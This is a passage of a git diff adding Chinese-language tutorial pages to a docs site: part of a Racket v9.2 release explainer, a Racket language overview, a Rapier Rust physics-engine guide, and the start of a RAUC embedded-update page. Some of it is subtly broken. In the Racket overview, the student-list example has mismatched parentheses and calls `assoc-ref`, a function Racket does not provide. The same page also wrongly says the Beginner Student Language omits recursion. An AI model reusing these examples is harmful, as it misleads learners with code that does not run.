+Racket 属于 Lisp/Scheme 家族，它的代码长得像这样：
+
+```racket
+(+ 1 2 3)
+```
+
+看起来奇怪对吧？这其实就是在做 1+2+3。在 Racket 里，所有的操作都是"先写运算符，再写操作数"。就像你说"加法：1、2、3"而不是"1 加 2 加 3"。
+
+## 二、Racket v9.2 是什么？
+
+Racket v9.2 于 2026 年 5 月 27 日发布，由 Stephen De Gabrielle 和 John Clements 牵头。这是一个包含多项修复和改进的版本，主要关注以下几个方面：
+
+- 模式匹配（match）的严格化
+- Typed Racket 的类型系统改进
+- Unicode 17.0 支持
+- 底层语法形式的扩展
+- 大量文档和小修复
+
+## 三、核心概念与代码示例
+
+### 3.1 模式匹配（match）—— 更严格的检查
+
+**类比：** 想象你在玩拼图。以前，如果你把同一块拼图标记为"A"用了两次，即使两块拼图的形状不一样，系统也不会提醒你。v9.2 之后，系统会仔细检查——如果同一个变量名出现了两次，那它们代表的部分必须真的相同。
+
+**什么是"非线性模式"？** 当一个变量在模式中出现多次时，就叫非线性模式。比如你想匹配一个列表，要求第一个元素和最后一个元素相同：
+
+```racket
+#lang racket
+
+;; 旧版本可能不会检查这两处是否真的相等
+(match '(1 2 3 1)
+  [(list x _ _ x) (displayln "首尾相同！")]
+  [_ (displayln "首尾不同")])
+;; 输出: 首尾相同！
+
+;; v9.2 会拒绝这种不一致的模式
+(match '(1 2 3 4)
+  [(list x _ _ x) (displayln "首尾相同！")]
+  [_ (displayln "首尾不同")])
+;; 输出: 首尾不同
+```
+
+v9.2 还增加了一个重要规则：如果一个变量在模式中有的地方和 `...`（表示"重复"）一起用，有的地方不用，这种混合用法会被拒绝。这防止了非常隐蔽的 bug。
+
+### 3.2 Typed Racket —— 数学函数的类型安全
+
+**类比：** 想象你在做三角函数计算。`asin`（反正弦）和 `acos`（反余弦）这两个函数，输入值如果在 -1 到 1 之间，结果是实数；但如果输入超出这个范围，结果会变成复数（包含虚部的数）。之前的 Typed Racket 没有正确处理这种情况，可能导致类型错误。
+
+v9.2 修复了这个问题：
+
+```racket
+#lang typed/racket
+
+;; asin 和 acos 现在能正确处理复数结果
+(define (safe-asin [x : Float]) : (U Float Complex)
+  (asin x))
+
+;; 正常情况：输入 0.5，得到实数
+(safe-asin 0.5)
+;; => 0.5235987755982989
+
+;; 超出范围：输入 2.0，得到复数（v9.2 之前这里类型不安全）
+(safe-asin 2.0)
+;; => 1.5707963267948966 + 1.3169578969248166i
+
+;; acos 同理
+(define (safe-acos [x : Float]) : (U Float Complex)
+  (acos x))
+
+(safe-acos 2.0)
+;; => 0.0 + 1.3169578969248166i
+```
+
+这个修复意味着：如果你的代码依赖 `asin`/`acos` 的类型信息来做优化，v9.2 可能会在编译时发现之前被忽略的问题并报错——这是好事，因为它帮你提前发现了隐患。
+
+### 3.3 #%foreign-inline —— 底层外部访问
+
+Racket v9.2 引入了一个新的核心语法形式 `#%foreign-inline`，它提供了一种"不安全"的方式来访问 Racket 实现底层（linklet 层）的功能。
+
+**类比：** 这就像给你的程序开了一个后门，可以直接访问操作系统级别的资源。平时不建议用，但在写高性能库或者需要调用底层 C 代码时会很有用。
+
+```racket
+#lang racket
+
+;; #%foreign-inline 是一个底层语法形式
+;; 通常不直接在普通代码中使用
+;; 它主要用于 Racket 实现者和库作者
+
+;; 举个简化的例子，展示其意图：
+;; 通过 #%foreign-inline 可以直接访问 linklet 层提供的功能
+;; 这比普通的 FFI（外部函数接口）更高效，但也更危险
+
+;; 如果你在处理所有核心语法形式的代码（比如编译器、宏系统），
+;; 需要更新以识别这个新的语法形式。
+```
+
+### 3.4 terminal-file-position —— 终端字节计数
+
+v9.2 新增了一个实用函数 `terminal-file-position`，它可以统计写入到终端端口（如 `stdin` 和 `stderr`）的字节数。
+
+```racket
+#lang racket
+
+;; 这个函数可以追踪写入终端的字节数量
+;; 对于需要精确控制输出量的场景很有用
+
+;; 例如，在一个日志系统中，你可能想统计总共输出了多少字节：
+(define (log-message msg)
+  (define before (terminal-file-position (current-error-port)))
+  (fprintf (current-error-port) "[LOG] ~a~n" msg)
+  (define after (terminal-file-position (current-error-port)))
+  (printf "本次输出 ~a 字节~n" (- after before)))
+
+(log-message "Hello, Racket v9.2!")
+;; 本次输出 20 字节（具体数字取决于消息长度）
+```
+
+### 3.5 其他值得注意的变化
+
+| 变化 | 说明 |
+|------|------|
+| Unicode 17.0 | 字符和字符串操作现在支持最新的 Unicode 标准 |
+| 交叉阶段持久模块 | 允许更多类型的 `quote`d 数据跨模块共享 |
+| 内部实现重写 | `member`、`memw`、`when`、`unless`、`let/ec`、`cond` 改用 `racket/kernel` 语法实现 |
+| impersonator 增强 | 新增 `impersonator-property-predicate-procedure?` 函数 |
+| Typed Racket 打印 | 多态结构体类型现在用类型参数打印，如 `(Array Byte)`，不再暴露内部表示 |
+| Stepper 数字显示 | 步进器的数字显示更好地匹配语言设置 |
+| Scribble 移动端适配 | 非手册样式的文档默认 `initial-scale` 为 1.0；窄屏下边注默认内联显示 |
+| Big-bang 修复 | .dmg 分发的 Big-bang 程序现在正确处理 `close-on-stop` 特性 |
+
+## 四、升级注意事项
+
+v9.2 有几个**可能导致现有代码不再编译**的变化：
+
+1. **match 的严格化** — 如果你使用了非线性的 `...` 模式，且匹配的值部分不相等，现在会报错
+2. **Typed Racket 的 asin/acos** — 如果你的代码依赖之前不安全的类型信息，编译时可能会报错
+
+如果你升级后遇到编译错误，检查是否涉及上述两处。大多数普通代码不受影响。
+
+## 五、总结
+
+Racket v9.2 是一个以"修复和加固"为主的版本。它没有带来翻天覆地的新功能，但解决了几个关键问题：
+
+- 模式匹配更安全了
+- 类型系统更严谨了
+- 底层访问能力更强了
+- Unicode 和文档体验更好了
+
+对于初学者来说，这意味着你的 Racket 代码会更少出现隐蔽的 bug。对于高级用户来说，`#%foreign-inline` 和 FFI2 的内部支持为未来更强大的底层交互打下了基础。
+
+如果你想了解更多，官方社区在 [Discourse](https://racket.discourse.group/invites/VxkBcXY7yL) 和 [Discord](https://discord.gg/6Zq8sH5) 上都很活跃。
diff --git a/src/content/docs/projects/racket.md b/src/content/docs/projects/racket.md
new file mode 100644
index 000000000..fe99b62a3
--- /dev/null
+++ b/src/content/docs/projects/racket.md
@@ -0,0 +1,246 @@
+---
+title: Racket — 教学与研究双优的 Scheme 后裔
+来源: https://github.com/racket/racket
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Racket — 教学与研究双优的 Scheme 后裔
+
+## 什么是 Racket？
+
+想象一下，你走进一家餐厅。大多数编程语言像是"固定菜单"——厨师给你什么你就吃什么。但 Racket 是一家"你可以自己开厨房"的餐厅：它不仅让你做菜，还允许你重新设计厨房、发明新的厨具、甚至创造全新的菜系。
+
+Racket 是一门从 Scheme 家族演化而来的通用编程语言。它诞生于 20 世纪 80 年代末，由 Matthew Flatt 等人领导开发，如今已成长为拥有 5200+ GitHub Star 的成熟项目。它最特别的地方在于：它同时服务于两个看似矛盾的目标——**教学**（让零基础的人学会编程）和**研究**（让语言学家探索全新的语言设计）。
+
+## 为什么 Racket 能同时做好这两件事？
+
+### 教学端：从"画图"到"写网页"，循序渐进
+
+Racket 家族里有一门叫 **BSL（Beginner Student Language）** 的语言，专门为中学生和大学生初学者设计。它移除了所有让人困惑的概念（比如递归、高阶函数），让学生从最基本的函数调用开始，逐步建立编程直觉。然后他们可以用 Racket 画动画、做游戏，在乐趣中自然过渡到更复杂的语言层级。
+
+### 研究端：语言可以像乐高一样搭建
+
+Racket 有一个被称为"面向领域的语言编程"（Domain-Specific Language Oriented Programming）的能力。你不需要安装任何额外工具，打开一个编辑器窗口，几行代码就能定义一门全新的语言。这门新语言可以有自己的语法、关键字、缩进规则，然后立刻在新窗口里用它写代码。
+
+这就是 Racket 的核心武器：**宏系统（Macro System）**。它不是简单的文本替换，而是直接在代码的结构（语法树）上做手术。
+
+## 核心概念
+
+### 1. 代码即数据：S 表达式
+
+Lisp 家族最著名的特征是"S 表达式"（S-expression），也叫"括号表示法"。在其他语言里，代码长这样：
+
+```javascript
+if (x > 0) {
+  return x * 2;
+}
+```
+
+在 Racket 里，同样的逻辑是：
+
+```racket
+(if (> x 0)
+    (* x 2)
+    0)
+```
+
+看起来全是括号，对吧？但请想一下：这其实是一种非常**均匀**的表达方式。每个操作都是"函数名 + 参数"的模式，嵌套只是多套了几层括号。就像俄罗斯套娃，每一层都是一个完整的"东西"。
+
+为什么这很重要？因为在这种表示法下，**代码本身就是一种数据结构**。你可以用编写数据的同样方式来编写、转换和操作代码。这就是 Racket 宏系统的根基。
+
+### 2. `#lang`：语言切换器
+
+Racket 的每一段代码都以 `#lang` 开头，声明"这段代码用什么语言来理解"。默认是 `#lang racket`，但你可以换成：
+
+- `#lang typed/racket` — 带类型检查的版本
+- `#lang sicp` — 配合经典教材《计算机程序的构造和解释》
+- `#lang web-server` — 写网页服务器
+- 或者你自己定义的任何语言
+
+这就像是给同一段身体换上不同的大脑。
+
+### 3. 函数是一等公民
+
+在 Racket 里，函数和其他数据类型（数字、字符串、列表）没有区别。你可以：
+
+- 把函数当作参数传给另一个函数
+- 让函数返回另一个函数
+- 把函数存在变量里
+
+这在学术上叫"高阶函数"（Higher-Order Functions），听起来很高深，其实用起来很直观。
+
+### 4. 模式匹配：像拼图一样匹配数据
+
+Racket 提供了强大的模式匹配功能。你可以描述"我想要什么样的数据形状"，然后直接提取其中的各个部分。这比传统的 `if-else` 层层判断清晰得多。
+
+## 代码示例
+
+### 示例 1：基础语法与函数
+
+这是最基础的 Racket 代码，展示了变量定义、函数定义、条件判断和递归：
+
+```racket
+#lang racket
+
+;; 定义一个变量
+(define greeting "Hello, Racket!")
+(displayln greeting)
+
+;; 定义一个函数：计算阶乘
+(define (factorial n)
+  (if (<= n 1)
+      1
+      (* n (factorial (- n 1)))))
+
+;; 调用函数
+(displayln (factorial 5))  ; 输出: 120
+(displayln (factorial 10)) ; 输出: 3628800
+
+;; 函数可以赋值给变量
+(define double (lambda (x) (* x 2)))
+(displayln (double 21))    ; 输出: 42
+
+;; 匿名函数也可以直接用
+((lambda (x y) (+ x y)) 3 4)  ; 输出: 7
+```
+
+逐行拆解：
+
+- `(define greeting "...")` — 定义一个变量并赋值。注意 `define` 在最外层，后面跟着变量名和内容。
+- `(define (factorial n) ...)` — 定义一个名为 `factorial` 的函数，参数是 `n`。函数体里的 `if` 是条件判断：如果 `n <= 1` 就返回 1（递归终止条件），否则返回 `n` 乘以 `factorial` 的自身调用（递归步骤）。
+- `(displayln ...)` — 打印内容到屏幕并换行。
+- `(lambda (x) ...)` — 创建一个匿名函数（没有名字的函数）。`lambda` 是 Lisp 家族中表示"匿名函数"的关键词，源自数学中的 λ 演算。
+
+### 示例 2：列表操作与高阶函数
+
+Racket 的列表操作是函数式编程的典型场景。我们用高阶函数来处理数据，而不是写循环：
+
+```racket
+#lang racket
+
+;; 定义一个学生列表（每个元素是一个关联列表，模拟对象）
+(define students
+  '((name . "Alice")   (score . 95) (grade . "A"))
+   ((name . "Bob")     (score . 72) (grade . "C"))
+   ((name . "Carol")   (score . 88) (grade . "B"))
+   ((name . "Dave")    (score . 91) (grade . "A"))
+   ((name . "Eve")     (score . 65) (grade . "D"))))
+
+;; 用 filter 筛选出及格的学生
+(define passed
+  (filter (lambda (student)
+            (>= (assoc-ref student 'score) 60))
+          students))
+
+(displayln "=== 及格的学生 ===")
+(for ([s passed])
+  (displayln (assoc-ref s 'name)))
+
+;; 用 map 提取所有分数
+(define all-scores
+  (map (lambda (student)
+         (assoc-ref student 'score))
+       students))
+(displayln (string-append "所有分数: " (string-join (map number->string all-scores) ", ")))
+
+;; 用 fold 计算平均分
+(define total
+  (foldl + 0 all-scores))
+(define average (/ total (length all-scores)))
+(displayln (string-append "平均分: " (number->string average)))
+
+;; 用 for/list 生成一个新列表：成绩等级表
+(define grade-report
+  (for/list ([s students]
+             #:when (>= (assoc-ref s 'score) 80))
+    (string-append (assoc-ref s 'name) " -> " (assoc-ref s 'grade))))
+(displayln "=== 优秀成绩单 ===")
+(for-each displayln grade-report)
+```
+
+这段代码展示了四个核心高阶函数：
+
+| 函数 | 作用 | 类比 |
+|------|------|------|
+| `filter` | 从列表中挑出符合条件的元素 | 筛子里漏掉小的，留下大的 |
+| `map` | 对列表每个元素做变换 | 工厂传送带，每个产品经过同一个加工站 |
+| `foldl` | 从左到右累积合并列表 | 滚雪球，越滚越大 |
+| `for/list` | 用声明式语法生成新列表 | 菜谱，告诉你"选哪些食材、做什么菜" |
+
+### 示例 3：自定义语言（宏的力量）
+
+这是 Racket 最令人兴奋的功能——定义你自己的语言。下面创建了一个简单的"数学表达式"语言：
+
+```racket
+#lang racket
+
+;; 导入宏系统工具
+(require (for-syntax syntax/parse))
+
+;; 定义一个新语法：times 相当于 *
+(define-syntax (times stx)
+  (syntax-parse stx
+    [(_ a b) #'(* a b)]))
+
+;; 现在可以用 times 了
+(displayln (times 6 7))  ; 输出: 42
+
+;; 再定义一个：say 相当于 displayln
+(define-syntax (say stx)
+  (syntax-parse stx
+    [(_ msg) #'(displayln msg)]))
+
+(say "Hello from my custom syntax!")
+```
+
+这只是一个微小的例子。在实际项目中，Racket 程序员用它创建了：
+
+- `typed/racket` — 带类型系统的 Racket（论文发表于 ICFP 2012）
+- `datalog` — 逻辑查询语言（类似 SQL 但用规则推导）
+- `scribble` — 文档标记语言（Racket 自己的文档就是用这个写的）
+- `web/server` — 网页服务器框架
+
+所有这些都不是 Racket 内核的一部分，而是以**包（package）**的形式存在，用宏系统实现。
+
+## 生态系统概览
+
+Racket 的生态可以用"小而全"来形容：
+
+- **DrRacket IDE** — 自带的交互式开发环境，有语法高亮、错误提示、代码折叠，还有独特的"箭头追踪"功能：鼠标悬停在变量上，它会画出箭头指向定义处
+- **raco 命令行工具** — 包管理器、构建工具、代码格式化器，一条命令搞定
+- **包仓库** — 数千个第三方包，涵盖 Web 开发、数据库、数学、图形、教育软件等
+- **跨平台 GUI** — 内置图形界面工具箱，一套代码跑 Windows / macOS / Linux
+- **打包发布** — 可以把程序打包成独立的可执行文件，分发给没有安装 Racket 的用户
+
+## 与其他 Scheme 方言的比较
+
+| 特性 | Racket | Scheme (R7RS) | Clojure |
+|------|--------|---------------|---------|
+| 语法 | 类 Lisp 括号 | 类 Lisp 括号 | 类 Lisp 括号 |
+| 宏系统 | 语法级宏（极其强大） | 有限宏 | 宏系统 |
+| 类型系统 | 渐进式类型（Typed Racket） | 无 | 动态类型 |
+| 并发模型 | 轻量级进程（纤程） | 无标准 | 软件事务内存 |
+| 主要用途 | 教学 + 语言研究 | 嵌入式 + 学术 | Web + 并发 |
+| 包管理 | raco pkg | 无统一标准 | Leiningen |
+
+Racket 的独特之处在于它把"语言工程"变成了普通程序员也能使用的工具。其他语言社区往往认为"造一门新语言"是顶级专家的事，但在 Racket 里，这是入门课程的一部分。
+
+## 学习路线建议
+
+对于零基础学习者，推荐的顺序是：
+
+1. 下载 Racket（官网 download.racket-lang.org），安装后打开 DrRacket
+2. 选择 `BSL`（Beginner Student Language）开始，只学最基本的函数和条件
+3. 完成《How to Design Programs》（htdp）的前几章，这本书是全球多所大学采用的教材
+4. 切换到 `#lang racket`，学习列表操作、递归、高阶函数
+5. 尝试写一个小项目：命令行计算器、猜数字游戏、待办事项列表
+6. 进阶：了解宏系统和自定义语言
+
+## 总结
+
+Racket 不是一门"用来找工作"的语言，而是一门**用来理解编程本质**的语言。它像一面镜子，照出了其他语言中那些"理所当然"的设计选择背后的原因。当你学会了用 Racket 的视角看世界，再回到 JavaScript、Python 或 Java 时，你会看到以前看不到的结构和可能性。
+
+正如 Racket 的设计者所说："Racket 不是另一种编程语言，它是编程语言家族的集合。"
diff --git a/src/content/docs/projects/rapier.md b/src/content/docs/projects/rapier.md
new file mode 100644
index 000000000..2b929171a
--- /dev/null
+++ b/src/content/docs/projects/rapier.md
@@ -0,0 +1,247 @@
+---
+title: Rapier — Rust 现代物理引擎
+来源: 'https://github.com/dimforge/rapier'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**Rapier** 是由 Dimforge 组织用 **Rust** 编写的开源 **2D/3D 刚体物理引擎**，Apache 2.0 协议，GitHub 仓库 [dimforge/rapier](https://github.com/dimforge/rapier) 约 5k+ star。它不负责渲染、网络或 UI，只回答一个问题：**给定质量、碰撞形状、力和关节约束，下一帧每个物体该在哪里、转多少度**。
+
+日常类比：把 Rapier 想成**Rust 游戏工作室里的「力学调度中心」**。你在场景里摆好地板（静态碰撞体）、箱子（动态刚体）、门铰链（旋转关节）、电梯导轨（棱柱关节），调度中心每帧按牛顿力学推进世界，并把新位姿交还给你的渲染层（Bevy、macroquad、Three.js via WASM 等）。你画精灵、写玩法；Rapier 管碰撞、摩擦、弹跳、布偶 ragdoll 和机械臂约束——和 Box2D、PhysX 是同一类「幕后裁判」，但源码 100% Rust，且同一套 API 同时覆盖 2D 与 3D。
+
+Rapier 是 nphysics 的继任者，2020 年由 Dimforge 正式发布，设计目标就是**性能优先**：可选 SIMD（`simd-stable` / `simd-nightly`）、可选多线程（`parallel`）、可选跨平台确定性（`enhanced-determinism`）。官方还提供 **JavaScript/TypeScript NPM 包**（`@dimforge/rapier2d`、`@dimforge/rapier3d`），可在浏览器 Web Worker 里跑物理，渲染仍由 PixiJS、Three.js 等负责。
+
+Crates 一览：
+
+| Crate | 用途 |
+|-------|------|
+| `rapier2d` | 2D 仿真，默认 `f32` |
+| `rapier3d` | 3D 仿真，默认 `f32` |
+| `rapier2d-f64` / `rapier3d-f64` | 高精度 `f64` 仿真（机器人、科学场景） |
+
+```toml
+# Cargo.toml — 2D 示例，可按需打开 feature
+[dependencies]
+rapier2d = { version = "0.22", features = ["simd-stable"] }
+```
+
+```rust
+use rapier2d::prelude::*;
+
+fn main() {
+    let mut rigid_body_set = RigidBodySet::new();
+    let mut collider_set = ColliderSet::new();
+
+    // 静态地面：不挂 RigidBody，直接插入 ColliderSet
+    let ground = ColliderBuilder::cuboid(100.0, 0.1).build();
+    collider_set.insert(ground);
+
+    // 动态球：刚体 + 碰撞体父子绑定
+    let ball_body = RigidBodyBuilder::dynamic()
+        .translation(vector![0.0, 10.0])
+        .build();
+    let ball_collider = ColliderBuilder::ball(0.5).restitution(0.7).build();
+    let ball_handle = rigid_body_set.insert(ball_body);
+    collider_set.insert_with_parent(ball_collider, ball_handle, &mut rigid_body_set);
+
+    // 仿真管线所需结构（官方 basic example 同构）
+    let gravity = vector![0.0, -9.81];
+    let integration_parameters = IntegrationParameters::default();
+    let mut physics_pipeline = PhysicsPipeline::new();
+    let mut island_manager = IslandManager::new();
+    let mut broad_phase = DefaultBroadPhase::new();
+    let mut narrow_phase = NarrowPhase::new();
+    let mut impulse_joint_set = ImpulseJointSet::new();
+    let mut multibody_joint_set = MultibodyJointSet::new();
+    let mut ccd_solver = CCDSolver::new();
+
+    for _ in 0..200 {
+        physics_pipeline.step(
+            &gravity,
+            &integration_parameters,
+            &mut island_manager,
+            &mut broad_phase,
+            &mut narrow_phase,
+            &mut rigid_body_set,
+            &mut collider_set,
+            &mut impulse_joint_set,
+            &mut multibody_joint_set,
+            &mut ccd_solver,
+            &(),
+            &(),
+        );
+        let y = rigid_body_set[ball_handle].translation().y;
+        println!("Ball altitude: {y:.3}");
+    }
+}
+```
+
+上面是官方 [Getting started](https://rapier.rs/docs/user_guides/rust/getting_started) 的最小闭环：地面 + 弹性球 + `PhysicsPipeline::step` 循环 200 步。注意 Rapier 把**刚体（RigidBody）**与**碰撞体（Collider）**拆成两个集合，比「Body 上直接挂 Fixture」的 Box2D 风格更灵活——一个刚体可挂多个 collider，静态环境也可以只有 collider 没有 body。
+
+## 为什么重要
+
+不了解 Rapier，下面这些事都难以解释：
+
+- 为什么 Bevy 生态里 `bevy_rapier` 是物理插件的事实选择——Rust 游戏栈需要**同语言、同内存模型**的物理后端，避免 C++ FFI 与 WASM 胶水
+- 为什么同一团队还能维护 **nalgebra、parry、Avian** 等 crate——Dimforge 用 Rapier 把碰撞（parry）、线性代数（nalgebra）串成完整仿真管线
+- 为什么浏览器里也能跑「接近原生」的物理——官方 WASM 绑定 + Worker 线程，性能在 JS 物理引擎中处于第一梯队
+- 为什么机器人/动画管线会关心 **enhanced-determinism**——回放、网络同步、自动化测试需要「同输入同输出」，Rapier 可选 IEEE 754 严格跨平台确定性
+- 为什么 2D 平台游戏和 3D 第三人称可以共用学习曲线——API 设计镜像（`rapier2d` ↔ `rapier3d`），从 2D 原型迁到 3D 成本低
+
+## 核心要点
+
+### 1. 仿真结构：不是只有一个 World
+
+与 Box2D 的单一 `b2World` 不同，Rapier 把职责拆成多个**显式集合 + 管线**：
+
+| 结构 | 职责 |
+|------|------|
+| `RigidBodySet` | 所有刚体位姿、速度、质量属性 |
+| `ColliderSet` | 所有碰撞形状（可独立存在，也可挂到 body 上） |
+| `ImpulseJointSet` / `MultibodyJointSet` | 冲量关节、多体链（ragdoll、机械臂） |
+| `PhysicsPipeline` | 每帧串联：粗检测 → 细检测 → 约束求解 → 积分 → CCD |
+| `IslandManager` | 休眠（sleeping）与活跃岛划分，跳过已静止物体 |
+| `IntegrationParameters` | 时间步长、求解器迭代次数、CCD 子步等 |
+| `QueryPipeline` | 射线、形状扫描、相交测试（每帧从 broad-phase 临时构建） |
+
+类比：`PhysicsPipeline` 像工厂总控室；`RigidBodySet` / `ColliderSet` 是原材料仓库；`IslandManager` 是「这条流水线已停工的工位清单」，避免对静止堆叠的箱子空算。
+
+每调用一次 `physics_pipeline.step(...)`，内部大致顺序为：
+
+1. **Broad-phase**：BVH 等结构筛出可能接触的 collider 对
+2. **Narrow-phase**：精确求交，生成接触流形
+3. **Solver**：对接触约束与关节约束施加冲量
+4. **Integration**：更新位姿；可选 **CCD** 缓解高速穿透
+
+若只需碰撞检测、不做动力学，可用 `CollisionPipeline` 替代 `PhysicsPipeline`——但不要两者同时对同一场景做完整步进，物理管线已内含碰撞。
+
+### 2. 刚体（RigidBody）与碰撞体（Collider）
+
+| 类型 | 说明 |
+|------|------|
+| **Dynamic** | 受力、受碰撞，质量由 collider 密度或显式质量决定 |
+| **Kinematic** | 由代码驱动位姿/速度，「推」动动态体但不反向被推动 |
+| **Fixed / Static** | 不动；可直接插入无 body 的 collider 表示静态环境 |
+
+常见形状构造（2D/3D API 对称）：
+
+- `ColliderBuilder::ball(radius)` — 圆/球
+- `ColliderBuilder::cuboid(hx, hy)` / `cuboid(hx, hy, hz)` — 盒
+- `ColliderBuilder::capsule_y(half_height, radius)` — 胶囊（角色常用）
+- `ColliderBuilder::convex_hull(&points)` — 点集凸包
+- `ColliderBuilder::heightfield(heights, scale)` — 高度场地形
+
+**传感器（Sensor）**：collider 可设为 sensor，不参与力学响应，但触发 **intersection events**——用于拾取物、触发器、视野检测。
+
+物理单位建议与 Box2D 相同：用 **MKS（米-千克-秒）**。把 800 像素宽的角色当 800 m 会导致数值不稳定；通常 `1 世界单位 = 1 米`，渲染时再乘像素比例。
+
+### 3. 关节（Joints）与自由度
+
+关节限制两个刚体之间的**相对自由度（DOF）**：
+
+| 关节 | 2D 剩余 DOF | 3D 剩余 DOF | 典型用途 |
+|------|-------------|-------------|----------|
+| Fixed | 0 | 0 | 焊接；多 collider 同一 body 更高效 |
+| Revolute / Spherical | 1 旋转 | 3 旋转 | 门铰、钟摆、肩关节 |
+| Prismatic | 1 平移 | 1 平移 | 活塞、电梯、抽屉 |
+| GenericJoint | 自定义 | 自定义 | 组合约束 |
+
+Revolute、Prismatic、Spherical 支持 **motor**（PD 控制器）：可设目标角速度/位置，模拟驱动轮、伺服电机。
+
+```rust
+use rapier2d::prelude::*;
+
+fn pendulum_with_motor() {
+    let mut bodies = RigidBodySet::new();
+    let mut colliders = ColliderSet::new();
+    let mut joints = ImpulseJointSet::new();
+
+    // 固定锚点（静态）
+    let anchor = bodies.insert(RigidBodyBuilder::fixed().translation(vector![0.0, 5.0]).build());
+    colliders.insert_with_parent(
+        ColliderBuilder::ball(0.1).build(),
+        anchor,
+        &mut bodies,
+    );
+
+    // 摆锤臂（动态）
+    let bob = bodies.insert(RigidBodyBuilder::dynamic().translation(vector![0.0, 2.0]).build());
+    colliders.insert_with_parent(
+        ColliderBuilder::cuboid(0.15, 1.0).build(),
+        bob,
+        &mut bodies,
+    );
+
+    // 旋转关节：只允许绕锚点旋转
+    let joint = RevoluteJointBuilder::new()
+        .local_anchor1(point![0.0, 0.0])
+        .local_anchor2(point![0.0, 1.0])
+        .motor_velocity(0.5, 0.4); // 目标角速度 + 阻尼
+    joints.insert(anchor, bob, joint, true);
+
+    // 后续在 game loop 里与其他集合一并传入 physics_pipeline.step(...)
+}
+```
+
+### 4. 事件、查询与钩子
+
+- **EventHandler**：监听 contact start/stop、sensor enter/exit，用于音效、计分、伤害判定
+- **PhysicsHooks**：过滤碰撞对、修改接触（如 one-way platform、自定义摩擦）
+- **QueryPipeline**：`cast_ray`、`intersect_shape` 等，用于子弹射线、鼠标点选、AI 视线
+
+步进后可用 `island_manager.active_bodies()` 迭代**本帧仍活跃**的刚体，只更新动了的对象到渲染层——与 Bevy 的 `Transform` 同步时这是常见优化点。
+
+### 5. Feature 与性能取舍
+
+| Feature | 作用 | 注意 |
+|---------|------|------|
+| `simd-stable` | stable Rust 下的 SIMD | 平台支持有限 |
+| `simd-nightly` | nightly SIMD，覆盖面更广 | 需 nightly 工具链 |
+| `parallel` | rayon 并行宽相位/求解 | 小场景可能更慢 |
+| `enhanced-determinism` | 跨平台确定性 | 与 `parallel`/SIMD 互斥 |
+| `serde-serialize` | 快照序列化 | 存档、回放 |
+| `wasm-bindgen` | WASM 绑定 | 浏览器部署 |
+
+官方 benchmark 显示：Release 模式下 Rapier 可比 nphysics 快数倍，2D 与 Box2D 同量级，3D 接近 CPU 版 PhysX——具体取决于场景复杂度与 feature 组合。
+
+## 与 Bevy 集成（概念）
+
+游戏引擎通常不直接手写全部 `*Set`，而是用封装 crate：
+
+```toml
+[dependencies]
+bevy = "0.15"
+bevy_rapier2d = "0.28"  # 版本需与 bevy 对齐，以 crates.io 为准
+```
+
+`bevy_rapier2d` 把 Rapier 的集合映射为 ECS 组件与插件系统：你 spawn 带 `RigidBody`、`Collider` 的实体，引擎在每帧 `PhysicsSet` 里自动 `step`，再用 `ReadTransform` 等系统把结果写回 `Transform`。底层仍是同一套 Rapier API，只是省掉手动管理 `RigidBodySet` 的样板代码。
+
+## 常见坑
+
+1. **忘记每帧调用 `step`**：物理世界不会自动推进；固定 `dt`（如 1/60）通常比可变帧长更稳。
+2. **静态地面只建 body 不建 collider**（或反之）：静态环境可直接 `collider_set.insert(ColliderBuilder::...)` 无 parent body。
+3. **用 FixedJoint 拼一个复合体**：多个形状同一刚体 + 多 collider 更高效；FixedJoint 适合需要读「关节力」并动态拆断的场景。
+4. **CCD 未开仍高速移动**：薄墙穿透需调 `IntegrationParameters`、启用 CCD 或缩小时间步。
+5. **determinism 与 parallel 同时开**：编译/feature 层面互斥，规划网络同步时要提前选型。
+6. **版本漂移**：Rapier 尚未 1.0，minor 升级可能有 breaking change，生产项目应锁版本并读 [changelog](https://github.com/dimforge/rapier/blob/master/CHANGELOG.md)。
+
+## 学习路径
+
+1. 读 [User Guides — Rust](https://rapier.rs/docs/user_guides/rust/getting_started) 跑通球落地示例
+2. 克隆仓库运行 `cargo run --release --bin all_examples2` / `all_examples3` 对照源码
+3. 按需阅读 Colliders、Joints、Character controller、Scene queries 章节
+4. 若用 Bevy：跟官方 `bevy_rapier` 示例做 2D 平台或 3D 堆箱子
+5. 若做 Web：用 `@dimforge/rapier2d-compat` 在 Worker 里 step，主线程只渲染
+
+## 相关链接
+
+- 官网与文档：[rapier.rs](https://rapier.rs/)
+- 源码：[github.com/dimforge/rapier](https://github.com/dimforge/rapier)
+- Dimforge 博客（发布文）：[Announcing Rapier](https://dimforge.com/blog/2020/08/25/announcing-the-rapier-physics-engine/)
+- 同生态： [parry](https://github.com/dimforge/parry)（碰撞）、[nalgebra](https://nalgebra.org/)（线性代数）
+- 对比阅读：本库 [Box2D](/docs/projects/box2d)、[Planck.js](/docs/projects/planck)、[Bevy](/docs/projects/bevy)
diff --git a/src/content/docs/projects/rauc.md b/src/content/docs/projects/rauc.md
new file mode 100644
index 000000000..95eee01d5
--- /dev/null
+++ b/src/content/docs/projects/rauc.md
@@ -0,0 +1,356 @@
+---
+title: RAUC — 嵌入式 Linux 的稳健自动更新控制器
+来源: https://github.com/rauc/rauc
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 日常类比：给设备换「整箱备件」，而不是现场焊接
+
+想象你在维护一批工业网关，每台跑 Linux，偶尔要换整系统、内核或应用分区。最糟糕的做法是 SSH 进去 `dd` 覆盖正在运行的 rootfs——中途断电就可能变砖。更稳妥的做法像 **飞机换发动机模块**：
+
+| 现实世界 | RAUC 对应 |
+| --- | --- |
+| 主跑道 + 备降跑道 | **Slot**（A/B rootfs 分区） |
+| 整箱发动机（已质检、已封条） | **Bundle**（`.raucb` 更新包） |
+| 质检封条与签收单 | **X.509 签名**（强制验签） |
+| 塔台指挥「下次从 B 起飞」 | **Bootloader**（U-Boot / GRUB / Barebox bootchooser） |
+| 试飞成功签字 | `rauc status mark-good`（commit 启动） |
+| 试飞失败回主跑道 | `mark-bad` + bootloader **回滚** |
+| 货运清单 | `manifest.raucm`（镜像 → slot 映射） |
+| 机务手册 | `/etc/rauc/system.conf`（本机分区布局） |
+
